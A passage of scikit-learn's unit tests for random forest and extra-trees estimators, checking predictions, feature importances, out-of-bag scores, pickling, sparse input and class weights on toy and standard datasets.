            return np.zeros(X.shape[0])

    boost = AdaBoostRegressor(DummyEstimator(), n_estimators=3)
    boost.fit(X, y_regr)
    assert_equal(len(boost.estimator_weights_), len(boost.estimator_errors_))






"""
Testing for the forest module (sklearn.ensemble.forest).
"""

# Authors: Gilles Louppe,
#          Brian Holt,
#          Andreas Mueller,
#          Arnaud Joly
# License: BSD 3 clause

import pickle
from collections import defaultdict
from itertools import combinations
from itertools import product

import numpy as np
from scipy.misc import comb
from scipy.sparse import csr_matrix
from scipy.sparse import csc_matrix
from scipy.sparse import coo_matrix

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_false, assert_true
from sklearn.utils.testing import assert_less, assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import skip_if_32bit

from sklearn import datasets
from sklearn.decomposition import TruncatedSVD
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.ensemble import ExtraTreesRegressor
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import RandomForestRegressor
from sklearn.ensemble import RandomTreesEmbedding
from sklearn.model_selection import GridSearchCV
from sklearn.svm import LinearSVC
from sklearn.utils.fixes import bincount
from sklearn.utils.validation import check_random_state

from sklearn.tree.tree import SPARSE_SPLITTERS


# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
true_result = [-1, 1, 1]

# also load the iris dataset
# and randomly permute it
iris = datasets.load_iris()
rng = check_random_state(0)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]

# also load the boston dataset
# and randomly permute it
boston = datasets.load_boston()
perm = rng.permutation(boston.target.size)
boston.data = boston.data[perm]
boston.target = boston.target[perm]

# also make a hastie_10_2 dataset
hastie_X, hastie_y = datasets.make_hastie_10_2(n_samples=20, random_state=1)
hastie_X = hastie_X.astype(np.float32)

FOREST_CLASSIFIERS = {
    "ExtraTreesClassifier": ExtraTreesClassifier,
    "RandomForestClassifier": RandomForestClassifier,
}

FOREST_REGRESSORS = {
    "ExtraTreesRegressor": ExtraTreesRegressor,
    "RandomForestRegressor": RandomForestRegressor,
}

FOREST_TRANSFORMERS = {
    "RandomTreesEmbedding": RandomTreesEmbedding,
}

FOREST_ESTIMATORS = dict()
FOREST_ESTIMATORS.update(FOREST_CLASSIFIERS)
FOREST_ESTIMATORS.update(FOREST_REGRESSORS)
FOREST_ESTIMATORS.update(FOREST_TRANSFORMERS)


def check_classification_toy(name):
    """Check classification on a toy dataset."""
    ForestClassifier = FOREST_CLASSIFIERS[name]

    clf = ForestClassifier(n_estimators=10, random_state=1)
    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(10, len(clf))

    clf = ForestClassifier(n_estimators=10, max_features=1, random_state=1)
    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(10, len(clf))

    # also test apply
    leaf_indices = clf.apply(X)
    assert_equal(leaf_indices.shape, (len(X), clf.n_estimators))


def test_classification_toy():
    for name in FOREST_CLASSIFIERS:
        yield check_classification_toy, name


def check_iris_criterion(name, criterion):
    # Check consistency on dataset iris.
    ForestClassifier = FOREST_CLASSIFIERS[name]

    clf = ForestClassifier(n_estimators=10, criterion=criterion,
                           random_state=1)
    clf.fit(iris.data, iris.target)
    score = clf.score(iris.data, iris.target)
    assert_greater(score, 0.9, "Failed with criterion %s and score = %f"
                               % (criterion, score))

    clf = ForestClassifier(n_estimators=10, criterion=criterion,
                           max_features=2, random_state=1)
    clf.fit(iris.data, iris.target)
    score = clf.score(iris.data, iris.target)
    assert_greater(score, 0.5, "Failed with criterion %s and score = %f"
                               % (criterion, score))


def test_iris():
    for name, criterion in product(FOREST_CLASSIFIERS, ("gini", "entropy")):
        yield check_iris_criterion, name, criterion


def check_boston_criterion(name, criterion):
    # Check consistency on dataset boston house prices.
    ForestRegressor = FOREST_REGRESSORS[name]

    clf = ForestRegressor(n_estimators=5, criterion=criterion,
                          random_state=1)
    clf.fit(boston.data, boston.target)
    score = clf.score(boston.data, boston.target)
    assert_greater(score, 0.94, "Failed with max_features=None, criterion %s "
                                "and score = %f" % (criterion, score))

    clf = ForestRegressor(n_estimators=5, criterion=criterion,
                          max_features=6, random_state=1)
    clf.fit(boston.data, boston.target)
    score = clf.score(boston.data, boston.target)
    assert_greater(score, 0.95, "Failed with max_features=6, criterion %s "
                                "and score = %f" % (criterion, score))


def test_boston():
    for name, criterion in product(FOREST_REGRESSORS, ("mse", "mae", "friedman_mse")):
        yield check_boston_criterion, name, criterion


def check_regressor_attributes(name):
    # Regression models should not have a classes_ attribute.
    r = FOREST_REGRESSORS[name](random_state=0)
    assert_false(hasattr(r, "classes_"))
    assert_false(hasattr(r, "n_classes_"))

    r.fit([[1, 2, 3], [4, 5, 6]], [1, 2])
    assert_false(hasattr(r, "classes_"))
    assert_false(hasattr(r, "n_classes_"))


def test_regressor_attributes():
    for name in FOREST_REGRESSORS:
        yield check_regressor_attributes, name


def check_probability(name):
    # Predict probabilities.
    ForestClassifier = FOREST_CLASSIFIERS[name]
    with np.errstate(divide="ignore"):
        clf = ForestClassifier(n_estimators=10, random_state=1, max_features=1,
                               max_depth=1)
        clf.fit(iris.data, iris.target)
        assert_array_almost_equal(np.sum(clf.predict_proba(iris.data), axis=1),
                                  np.ones(iris.data.shape[0]))
        assert_array_almost_equal(clf.predict_proba(iris.data),
                                  np.exp(clf.predict_log_proba(iris.data)))


def test_probability():
    for name in FOREST_CLASSIFIERS:
        yield check_probability, name


def check_importances(name, criterion, X, y):
    ForestEstimator = FOREST_ESTIMATORS[name]

    est = ForestEstimator(n_estimators=20, criterion=criterion,
                          random_state=0)
    est.fit(X, y)
    importances = est.feature_importances_
    n_important = np.sum(importances > 0.1)
    assert_equal(importances.shape[0], 10)
    assert_equal(n_important, 3)

    # XXX: Remove this test in 0.19 after transform support to estimators
    # is removed.
    X_new = assert_warns(
        DeprecationWarning, est.transform, X, threshold="mean")
    assert_less(0 < X_new.shape[1], X.shape[1])

    # Check with parallel
    importances = est.feature_importances_
    est.set_params(n_jobs=2)
    importances_parrallel = est.feature_importances_
    assert_array_almost_equal(importances, importances_parrallel)

    # Check with sample weights
    sample_weight = check_random_state(0).randint(1, 10, len(X))
    est = ForestEstimator(n_estimators=20, random_state=0, criterion=criterion)
    est.fit(X, y, sample_weight=sample_weight)
    importances = est.feature_importances_
    assert_true(np.all(importances >= 0.0))

    for scale in [0.5, 10, 100]:
        est = ForestEstimator(n_estimators=20, random_state=0, criterion=criterion)
        est.fit(X, y, sample_weight=scale * sample_weight)
        importances_bis = est.feature_importances_
        assert_less(np.abs(importances - importances_bis).mean(), 0.001)


@skip_if_32bit
def test_importances():
    X, y = datasets.make_classification(n_samples=500, n_features=10,
                                        n_informative=3, n_redundant=0,
                                        n_repeated=0, shuffle=False,
                                        random_state=0)

    for name, criterion in product(FOREST_CLASSIFIERS, ["gini", "entropy"]):
        yield check_importances, name, criterion, X, y

    for name, criterion in product(FOREST_REGRESSORS, ["mse", "friedman_mse", "mae"]):
        yield check_importances, name, criterion, X, y


def test_importances_asymptotic():
    # Check whether variable importances of totally randomized trees
    # converge towards their theoretical values (See Louppe et al,
    # Understanding variable importances in forests of randomized trees, 2013).

    def binomial(k, n):
        return 0 if k < 0 or k > n else comb(int(n), int(k), exact=True)

    def entropy(samples):
        n_samples = len(samples)
        entropy = 0.

        for count in bincount(samples):
            p = 1. * count / n_samples
            if p > 0:
                entropy -= p * np.log2(p)

        return entropy

    def mdi_importance(X_m, X, y):
        n_samples, n_features = X.shape

        features = list(range(n_features))
        features.pop(X_m)
        values = [np.unique(X[:, i]) for i in range(n_features)]

        imp = 0.

        for k in range(n_features):
            # Weight of each B of size k
            coef = 1. / (binomial(k, n_features) * (n_features - k))

            # For all B of size k
            for B in combinations(features, k):
                # For all values B=b
                for b in product(*[values[B[j]] for j in range(k)]):
                    mask_b = np.ones(n_samples, dtype=np.bool)

                    for j in range(k):
                        mask_b &= X[:, B[j]] == b[j]

                    X_, y_ = X[mask_b, :], y[mask_b]
                    n_samples_b = len(X_)

                    if n_samples_b > 0:
                        children = []

                        for xi in values[X_m]:
                            mask_xi = X_[:, X_m] == xi
                            children.append(y_[mask_xi])

                        imp += (coef
                                * (1. * n_samples_b / n_samples)  # P(B=b)
                                * (entropy(y_) -
                                   sum([entropy(c) * len(c) / n_samples_b
                                        for c in children])))

        return imp

    data = np.array([[0, 0, 1, 0, 0, 1, 0, 1],
                     [1, 0, 1, 1, 1, 0, 1, 2],
                     [1, 0, 1, 1, 0, 1, 1, 3],
                     [0, 1, 1, 1, 0, 1, 0, 4],
                     [1, 1, 0, 1, 0, 1, 1, 5],
                     [1, 1, 0, 1, 1, 1, 1, 6],
                     [1, 0, 1, 0, 0, 1, 0, 7],
                     [1, 1, 1, 1, 1, 1, 1, 8],
                     [1, 1, 1, 1, 0, 1, 1, 9],
                     [1, 1, 1, 0, 1, 1, 1, 0]])

    X, y = np.array(data[:, :7], dtype=np.bool), data[:, 7]
    n_features = X.shape[1]

    # Compute true importances
    true_importances = np.zeros(n_features)

    for i in range(n_features):
        true_importances[i] = mdi_importance(i, X, y)

    # Estimate importances with totally randomized trees
    clf = ExtraTreesClassifier(n_estimators=500,
                               max_features=1,
                               criterion="entropy",
                               random_state=0).fit(X, y)

    importances = sum(tree.tree_.compute_feature_importances(normalize=False)
                      for tree in clf.estimators_) / clf.n_estimators

    # Check correctness
    assert_almost_equal(entropy(y), sum(importances))
    assert_less(np.abs(true_importances - importances).mean(), 0.01)


def check_unfitted_feature_importances(name):
    assert_raises(ValueError, getattr, FOREST_ESTIMATORS[name](random_state=0),
                  "feature_importances_")


def test_unfitted_feature_importances():
    for name in FOREST_ESTIMATORS:
        yield check_unfitted_feature_importances, name


def check_oob_score(name, X, y, n_estimators=20):
    # Check that oob prediction is a good estimation of the generalization
    # error.

    # Proper behavior
    est = FOREST_ESTIMATORS[name](oob_score=True, random_state=0,
                                  n_estimators=n_estimators, bootstrap=True)
    n_samples = X.shape[0]
    est.fit(X[:n_samples // 2, :], y[:n_samples // 2])
    test_score = est.score(X[n_samples // 2:, :], y[n_samples // 2:])

    if name in FOREST_CLASSIFIERS:
        assert_less(abs(test_score - est.oob_score_), 0.1)
    else:
        assert_greater(test_score, est.oob_score_)
        assert_greater(est.oob_score_, .8)

    # Check warning if not enough estimators
    with np.errstate(divide="ignore", invalid="ignore"):
        est = FOREST_ESTIMATORS[name](oob_score=True, random_state=0,
                                      n_estimators=1, bootstrap=True)
        assert_warns(UserWarning, est.fit, X, y)


def test_oob_score():
    for name in FOREST_CLASSIFIERS:
        yield check_oob_score, name, iris.data, iris.target

        # csc matrix
        yield check_oob_score, name, csc_matrix(iris.data), iris.target

        # non-contiguous targets in classification
        yield check_oob_score, name, iris.data, iris.target * 2 + 1

    for name in FOREST_REGRESSORS:
        yield check_oob_score, name, boston.data, boston.target, 50

        # csc matrix
        yield check_oob_score, name, csc_matrix(boston.data), boston.target, 50


def check_oob_score_raise_error(name):
    ForestEstimator = FOREST_ESTIMATORS[name]

    if name in FOREST_TRANSFORMERS:
        for oob_score in [True, False]:
            assert_raises(TypeError, ForestEstimator, oob_score=oob_score)

        assert_raises(NotImplementedError, ForestEstimator()._set_oob_score,
                      X, y)

    else:
        # Unfitted /  no bootstrap / no oob_score
        for oob_score, bootstrap in [(True, False), (False, True),
                                     (False, False)]:
            est = ForestEstimator(oob_score=oob_score, bootstrap=bootstrap,
                                  random_state=0)
            assert_false(hasattr(est, "oob_score_"))

        # No bootstrap
        assert_raises(ValueError, ForestEstimator(oob_score=True,
                                                  bootstrap=False).fit, X, y)


def test_oob_score_raise_error():
    for name in FOREST_ESTIMATORS:
        yield check_oob_score_raise_error, name


def check_gridsearch(name):
    forest = FOREST_CLASSIFIERS[name]()
    clf = GridSearchCV(forest, {'n_estimators': (1, 2), 'max_depth': (1, 2)})
    clf.fit(iris.data, iris.target)


def test_gridsearch():
    # Check that base trees can be grid-searched.
    for name in FOREST_CLASSIFIERS:
        yield check_gridsearch, name


def check_parallel(name, X, y):
    """Check parallel computations in classification"""
    ForestEstimator = FOREST_ESTIMATORS[name]
    forest = ForestEstimator(n_estimators=10, n_jobs=3, random_state=0)

    forest.fit(X, y)
    assert_equal(len(forest), 10)

    forest.set_params(n_jobs=1)
    y1 = forest.predict(X)
    forest.set_params(n_jobs=2)
    y2 = forest.predict(X)
    assert_array_almost_equal(y1, y2, 3)


def test_parallel():
    for name in FOREST_CLASSIFIERS:
        yield check_parallel, name, iris.data, iris.target

    for name in FOREST_REGRESSORS:
        yield check_parallel, name, boston.data, boston.target


def check_pickle(name, X, y):
    # Check pickability.

    ForestEstimator = FOREST_ESTIMATORS[name]
    obj = ForestEstimator(random_state=0)
    obj.fit(X, y)
    score = obj.score(X, y)
    pickle_object = pickle.dumps(obj)

    obj2 = pickle.loads(pickle_object)
    assert_equal(type(obj2), obj.__class__)
    score2 = obj2.score(X, y)
    assert_equal(score, score2)


def test_pickle():
    for name in FOREST_CLASSIFIERS:
        yield check_pickle, name, iris.data[::2], iris.target[::2]

    for name in FOREST_REGRESSORS:
        yield check_pickle, name, boston.data[::2], boston.target[::2]


def check_multioutput(name):
    # Check estimators on multi-output problems.

    X_train = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1], [-2, 1],
               [-1, 1], [-1, 2], [2, -1], [1, -1], [1, -2]]
    y_train = [[-1, 0], [-1, 0], [-1, 0], [1, 1], [1, 1], [1, 1], [-1, 2],
               [-1, 2], [-1, 2], [1, 3], [1, 3], [1, 3]]
    X_test = [[-1, -1], [1, 1], [-1, 1], [1, -1]]
    y_test = [[-1, 0], [1, 1], [-1, 2], [1, 3]]

    est = FOREST_ESTIMATORS[name](random_state=0, bootstrap=False)
    y_pred = est.fit(X_train, y_train).predict(X_test)
    assert_array_almost_equal(y_pred, y_test)

    if name in FOREST_CLASSIFIERS:
        with np.errstate(divide="ignore"):
            proba = est.predict_proba(X_test)
            assert_equal(len(proba), 2)
            assert_equal(proba[0].shape, (4, 2))
            assert_equal(proba[1].shape, (4, 4))

            log_proba = est.predict_log_proba(X_test)
            assert_equal(len(log_proba), 2)
            assert_equal(log_proba[0].shape, (4, 2))
            assert_equal(log_proba[1].shape, (4, 4))


def test_multioutput():
    for name in FOREST_CLASSIFIERS:
        yield check_multioutput, name

    for name in FOREST_REGRESSORS:
        yield check_multioutput, name


def check_classes_shape(name):
    # Test that n_classes_ and classes_ have proper shape.
    ForestClassifier = FOREST_CLASSIFIERS[name]

    # Classification, single output
    clf = ForestClassifier(random_state=0).fit(X, y)

    assert_equal(clf.n_classes_, 2)
    assert_array_equal(clf.classes_, [-1, 1])

    # Classification, multi-output
    _y = np.vstack((y, np.array(y) * 2)).T
    clf = ForestClassifier(random_state=0).fit(X, _y)

    assert_array_equal(clf.n_classes_, [2, 2])
    assert_array_equal(clf.classes_, [[-1, 1], [-2, 2]])


def test_classes_shape():
    for name in FOREST_CLASSIFIERS:
        yield check_classes_shape, name


def test_random_trees_dense_type():
    # Test that the `sparse_output` parameter of RandomTreesEmbedding
    # works by returning a dense array.

    # Create the RTE with sparse=False
    hasher = RandomTreesEmbedding(n_estimators=10, sparse_output=False)
    X, y = datasets.make_circles(factor=0.5)
    X_transformed = hasher.fit_transform(X)

    # Assert that type is ndarray, not scipy.sparse.csr.csr_matrix
    assert_equal(type(X_transformed), np.ndarray)


def test_random_trees_dense_equal():
    # Test that the `sparse_output` parameter of RandomTreesEmbedding
    # works by returning the same array for both argument values.

    # Create the RTEs
    hasher_dense = RandomTreesEmbedding(n_estimators=10, sparse_output=False,
                                        random_state=0)
    hasher_sparse = RandomTreesEmbedding(n_estimators=10, sparse_output=True,
                                         random_state=0)
    X, y = datasets.make_circles(factor=0.5)
    X_transformed_dense = hasher_dense.fit_transform(X)
    X_transformed_sparse = hasher_sparse.fit_transform(X)

    # Assert that dense and sparse hashers have same array.
    assert_array_equal(X_transformed_sparse.toarray(), X_transformed_dense)


# Ignore warnings from switching to more power iterations in randomized_svd
@ignore_warnings
def test_random_hasher():
    # test random forest hashing on circles dataset
    # make sure that it is linearly separable.
    # even after projected to two SVD dimensions
    # Note: Not all random_states produce perfect results.
    hasher = RandomTreesEmbedding(n_estimators=30, random_state=1)
    X, y = datasets.make_circles(factor=0.5)
    X_transformed = hasher.fit_transform(X)

    # test fit and transform:
    hasher = RandomTreesEmbedding(n_estimators=30, random_state=1)
    assert_array_equal(hasher.fit(X).transform(X).toarray(),
                       X_transformed.toarray())

    # one leaf active per data point per forest
    assert_equal(X_transformed.shape[0], X.shape[0])
    assert_array_equal(X_transformed.sum(axis=1), hasher.n_estimators)
    svd = TruncatedSVD(n_components=2)
    X_reduced = svd.fit_transform(X_transformed)
    linear_clf = LinearSVC()
    linear_clf.fit(X_reduced, y)
    assert_equal(linear_clf.score(X_reduced, y), 1.)


def test_random_hasher_sparse_data():
    X, y = datasets.make_multilabel_classification(random_state=0)
    hasher = RandomTreesEmbedding(n_estimators=30, random_state=1)
    X_transformed = hasher.fit_transform(X)
    X_transformed_sparse = hasher.fit_transform(csc_matrix(X))
    assert_array_equal(X_transformed_sparse.toarray(), X_transformed.toarray())


def test_parallel_train():
    rng = check_random_state(12321)
    n_samples, n_features = 80, 30
    X_train = rng.randn(n_samples, n_features)
    y_train = rng.randint(0, 2, n_samples)

    clfs = [
        RandomForestClassifier(n_estimators=20, n_jobs=n_jobs,
                               random_state=12345).fit(X_train, y_train)
        for n_jobs in [1, 2, 3, 8, 16, 32]
    ]

    X_test = rng.randn(n_samples, n_features)
    probas = [clf.predict_proba(X_test) for clf in clfs]
    for proba1, proba2 in zip(probas, probas[1:]):
        assert_array_almost_equal(proba1, proba2)


def test_distribution():
    rng = check_random_state(12321)

    # Single variable with 4 values
    X = rng.randint(0, 4, size=(1000, 1))
    y = rng.rand(1000)
    n_trees = 500

    clf = ExtraTreesRegressor(n_estimators=n_trees, random_state=42).fit(X, y)

    uniques = defaultdict(int)
    for tree in clf.estimators_:
        tree = "".join(("%d,%d/" % (f, int(t)) if f >= 0 else "-")
                       for f, t in zip(tree.tree_.feature,
                                       tree.tree_.threshold))

        uniques[tree] += 1

    uniques = sorted([(1. * count / n_trees, tree)
                      for tree, count in uniques.items()])

    # On a single variable problem where X_0 has 4 equiprobable values, there
    # are 5 ways to build a random tree. The more compact (0,1/0,0/--0,2/--) of
    # them has probability 1/3 while the 4 others have probability 1/6.

    assert_equal(len(uniques), 5)
    assert_greater(0.20, uniques[0][0])  # Rough approximation of 1/6.
    assert_greater(0.20, uniques[1][0])
    assert_greater(0.20, uniques[2][0])
    assert_greater(0.20, uniques[3][0])
    assert_greater(uniques[4][0], 0.3)
    assert_equal(uniques[4][1], "0,1/0,0/--0,2/--")

    # Two variables, one with 2 values, one with 3 values
    X = np.empty((1000, 2))
    X[:, 0] = np.random.randint(0, 2, 1000)
    X[:, 1] = np.random.randint(0, 3, 1000)
    y = rng.rand(1000)

    clf = ExtraTreesRegressor(n_estimators=100, max_features=1,
                              random_state=1).fit(X, y)

    uniques = defaultdict(int)
    for tree in clf.estimators_:
        tree = "".join(("%d,%d/" % (f, int(t)) if f >= 0 else "-")
                       for f, t in zip(tree.tree_.feature,
                                       tree.tree_.threshold))

        uniques[tree] += 1

    uniques = [(count, tree) for tree, count in uniques.items()]
    assert_equal(len(uniques), 8)


def check_max_leaf_nodes_max_depth(name):
    X, y = hastie_X, hastie_y

    # Test precedence of max_leaf_nodes over max_depth.
    ForestEstimator = FOREST_ESTIMATORS[name]
    est = ForestEstimator(max_depth=1, max_leaf_nodes=4,
                          n_estimators=1, random_state=0).fit(X, y)
    assert_greater(est.estimators_[0].tree_.max_depth, 1)

    est = ForestEstimator(max_depth=1, n_estimators=1,
                          random_state=0).fit(X, y)
    assert_equal(est.estimators_[0].tree_.max_depth, 1)


def test_max_leaf_nodes_max_depth():
    for name in FOREST_ESTIMATORS:
        yield check_max_leaf_nodes_max_depth, name


def check_min_samples_split(name):
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]

    # test boundary value
    assert_raises(ValueError,
                  ForestEstimator(min_samples_split=-1).fit, X, y)
    assert_raises(ValueError,
                  ForestEstimator(min_samples_split=0).fit, X, y)
    assert_raises(ValueError,
                  ForestEstimator(min_samples_split=1.1).fit, X, y)

    est = ForestEstimator(min_samples_split=10, n_estimators=1, random_state=0)
    est.fit(X, y)
    node_idx = est.estimators_[0].tree_.children_left != -1
    node_samples = est.estimators_[0].tree_.n_node_samples[node_idx]

    assert_greater(np.min(node_samples), len(X) * 0.5 - 1,
                   "Failed with {0}".format(name))

    est = ForestEstimator(min_samples_split=0.5, n_estimators=1, random_state=0)
    est.fit(X, y)
    node_idx = est.estimators_[0].tree_.children_left != -1
    node_samples = est.estimators_[0].tree_.n_node_samples[node_idx]

    assert_greater(np.min(node_samples), len(X) * 0.5 - 1,
                   "Failed with {0}".format(name))


def test_min_samples_split():
    for name in FOREST_ESTIMATORS:
        yield check_min_samples_split, name


def check_min_samples_leaf(name):
    X, y = hastie_X, hastie_y

    # Test if leaves contain more than leaf_count training examples
    ForestEstimator = FOREST_ESTIMATORS[name]

    # test boundary value
    assert_raises(ValueError,
                  ForestEstimator(min_samples_leaf=-1).fit, X, y)
    assert_raises(ValueError,
                  ForestEstimator(min_samples_leaf=0).fit, X, y)

    est = ForestEstimator(min_samples_leaf=5, n_estimators=1, random_state=0)
    est.fit(X, y)
    out = est.estimators_[0].tree_.apply(X)
    node_counts = bincount(out)
    # drop inner nodes
    leaf_count = node_counts[node_counts != 0]
    assert_greater(np.min(leaf_count), 4,
                   "Failed with {0}".format(name))

    est = ForestEstimator(min_samples_leaf=0.25, n_estimators=1,
                          random_state=0)
    est.fit(X, y)
    out = est.estimators_[0].tree_.apply(X)
    node_counts = np.bincount(out)
    # drop inner nodes
    leaf_count = node_counts[node_counts != 0]
    assert_greater(np.min(leaf_count), len(X) * 0.25 - 1,
                   "Failed with {0}".format(name))


def test_min_samples_leaf():
    for name in FOREST_ESTIMATORS:
        yield check_min_samples_leaf, name


def check_min_weight_fraction_leaf(name):
    X, y = hastie_X, hastie_y

    # Test if leaves contain at least min_weight_fraction_leaf of the
    # training set
    ForestEstimator = FOREST_ESTIMATORS[name]
    rng = np.random.RandomState(0)
    weights = rng.rand(X.shape[0])
    total_weight = np.sum(weights)

    # test both DepthFirstTreeBuilder and BestFirstTreeBuilder
    # by setting max_leaf_nodes
    for frac in np.linspace(0, 0.5, 6):
        est = ForestEstimator(min_weight_fraction_leaf=frac, n_estimators=1,
                              random_state=0)
        if "RandomForest" in name:
            est.bootstrap = False

        est.fit(X, y, sample_weight=weights)
        out = est.estimators_[0].tree_.apply(X)
        node_weights = bincount(out, weights=weights)
        # drop inner nodes
        leaf_weights = node_weights[node_weights != 0]
        assert_greater_equal(
            np.min(leaf_weights),
            total_weight * est.min_weight_fraction_leaf,
            "Failed with {0} "
            "min_weight_fraction_leaf={1}".format(
                name, est.min_weight_fraction_leaf))


def test_min_weight_fraction_leaf():
    for name in FOREST_ESTIMATORS:
        yield check_min_weight_fraction_leaf, name


def check_sparse_input(name, X, X_sparse, y):
    ForestEstimator = FOREST_ESTIMATORS[name]

    dense = ForestEstimator(random_state=0, max_depth=2).fit(X, y)
    sparse = ForestEstimator(random_state=0, max_depth=2).fit(X_sparse, y)

    assert_array_almost_equal(sparse.apply(X), dense.apply(X))

    if name in FOREST_CLASSIFIERS or name in FOREST_REGRESSORS:
        assert_array_almost_equal(sparse.predict(X), dense.predict(X))
        assert_array_almost_equal(sparse.feature_importances_,
                                  dense.feature_importances_)

    if name in FOREST_CLASSIFIERS:
        assert_array_almost_equal(sparse.predict_proba(X),
                                  dense.predict_proba(X))
        assert_array_almost_equal(sparse.predict_log_proba(X),
                                  dense.predict_log_proba(X))

    if name in FOREST_TRANSFORMERS:
        assert_array_almost_equal(sparse.transform(X).toarray(),
                                  dense.transform(X).toarray())
        assert_array_almost_equal(sparse.fit_transform(X).toarray(),
                                  dense.fit_transform(X).toarray())


def test_sparse_input():
    X, y = datasets.make_multilabel_classification(random_state=0,
                                                   n_samples=50)

    for name, sparse_matrix in product(FOREST_ESTIMATORS,
                                       (csr_matrix, csc_matrix, coo_matrix)):
        yield check_sparse_input, name, X, sparse_matrix(X), y


def check_memory_layout(name, dtype):
    # Check that it works no matter the memory layout

    est = FOREST_ESTIMATORS[name](random_state=0, bootstrap=False)

    # Nothing
    X = np.asarray(iris.data, dtype=dtype)
    y = iris.target
    assert_array_equal(est.fit(X, y).predict(X), y)

    # C-order
    X = np.asarray(iris.data, order="C", dtype=dtype)
    y = iris.target
    assert_array_equal(est.fit(X, y).predict(X), y)

    # F-order
    X = np.asarray(iris.data, order="F", dtype=dtype)
    y = iris.target
    assert_array_equal(est.fit(X, y).predict(X), y)

    # Contiguous
    X = np.ascontiguousarray(iris.data, dtype=dtype)
    y = iris.target
    assert_array_equal(est.fit(X, y).predict(X), y)

    if est.base_estimator.splitter in SPARSE_SPLITTERS:
        # csr matrix
        X = csr_matrix(iris.data, dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        # csc_matrix
        X = csc_matrix(iris.data, dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        # coo_matrix
        X = coo_matrix(iris.data, dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

    # Strided
    X = np.asarray(iris.data[::3], dtype=dtype)
    y = iris.target[::3]
    assert_array_equal(est.fit(X, y).predict(X), y)


def test_memory_layout():
    for name, dtype in product(FOREST_CLASSIFIERS, [np.float64, np.float32]):
        yield check_memory_layout, name, dtype

    for name, dtype in product(FOREST_REGRESSORS, [np.float64, np.float32]):
        yield check_memory_layout, name, dtype


@ignore_warnings
def check_1d_input(name, X, X_2d, y):
    ForestEstimator = FOREST_ESTIMATORS[name]
    assert_raises(ValueError, ForestEstimator(n_estimators=1,
                                              random_state=0).fit, X, y)

    est = ForestEstimator(random_state=0)
    est.fit(X_2d, y)

    if name in FOREST_CLASSIFIERS or name in FOREST_REGRESSORS:
        assert_raises(ValueError, est.predict, X)


@ignore_warnings
def test_1d_input():
    X = iris.data[:, 0]
    X_2d = iris.data[:, 0].reshape((-1, 1))
    y = iris.target

    for name in FOREST_ESTIMATORS:
        yield check_1d_input, name, X, X_2d, y


def check_class_weights(name):
    # Check class_weights resemble sample_weights behavior.
    ForestClassifier = FOREST_CLASSIFIERS[name]

    # Iris is balanced, so no effect expected for using 'balanced' weights
    clf1 = ForestClassifier(random_state=0)
    clf1.fit(iris.data, iris.target)
    clf2 = ForestClassifier(class_weight='balanced', random_state=0)
    clf2.fit(iris.data, iris.target)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)

    # Make a multi-output problem with three copies of Iris
    iris_multi = np.vstack((iris.target, iris.target, iris.target)).T
    # Create user-defined weights that should balance over the outputs
    clf3 = ForestClassifier(class_weight=[{0: 2., 1: 2., 2: 1.},
                                          {0: 2., 1: 1., 2: 2.},
                                          {0: 1., 1: 2., 2: 2.}],
                            random_state=0)
    clf3.fit(iris.data, iris_multi)
    assert_almost_equal(clf2.feature_importances_, clf3.feature_importances_)
    # Check against multi-output "balanced" which should also have no effect
    clf4 = ForestClassifier(class_weight='balanced', random_state=0)
    clf4.fit(iris.data, iris_multi)
    assert_almost_equal(clf3.feature_importances_, clf4.feature_importances_)

    # Inflate importance of class 1, check against user-defined weights
    sample_weight = np.ones(iris.target.shape)
    sample_weight[iris.target == 1] *= 100
    class_weight = {0: 1., 1: 100., 2: 1.}
    clf1 = ForestClassifier(random_state=0)
    clf1.fit(iris.data, iris.target, sample_weight)
    clf2 = ForestClassifier(class_weight=class_weight, random_state=0)
    clf2.fit(iris.data, iris.target)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)

    # Check that sample_weight and class_weight are multiplicative
    clf1 = ForestClassifier(random_state=0)
    clf1.fit(iris.data, iris.target, sample_weight ** 2)
    clf2 = ForestClassifier(class_weight=class_weight, random_state=0)
    clf2.fit(iris.data, iris.target, sample_weight)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)


def test_class_weights():
    for name in FOREST_CLASSIFIERS:
        yield check_class_weights, name


def check_class_weight_balanced_and_bootstrap_multi_output(name):
    # Test class_weight works for multi-output"""
    ForestClassifier = FOREST_CLASSIFIERS[name]
    _y = np.vstack((y, np.array(y) * 2)).T
    clf = ForestClassifier(class_weight='balanced', random_state=0)
    clf.fit(X, _y)
    clf = ForestClassifier(class_weight=[{-1: 0.5, 1: 1.}, {-2: 1., 2: 1.}],
                           random_state=0)
    clf.fit(X, _y)
    # smoke test for subsample and balanced subsample
    clf = ForestClassifier(class_weight='balanced_subsample', random_state=0)
    clf.fit(X, _y)
    clf = ForestClassifier(class_weight='subsample', random_state=0)
    ignore_warnings(clf.fit)(X, _y)


def test_class_weight_balanced_and_bootstrap_multi_output():
    for name in FOREST_CLASSIFIERS:
        yield check_class_weight_balanced_and_bootstrap_multi_output, name


def check_class_weight_errors(name):
    # Test if class_weight raises errors and warnings when expected.
    ForestClassifier = FOREST_CLASSIFIERS[name]
    _y = np.vstack((y, np.array(y) * 2)).T

    # Invalid preset string
    clf = ForestClassifier(class_weight='the larch', random_state=0)
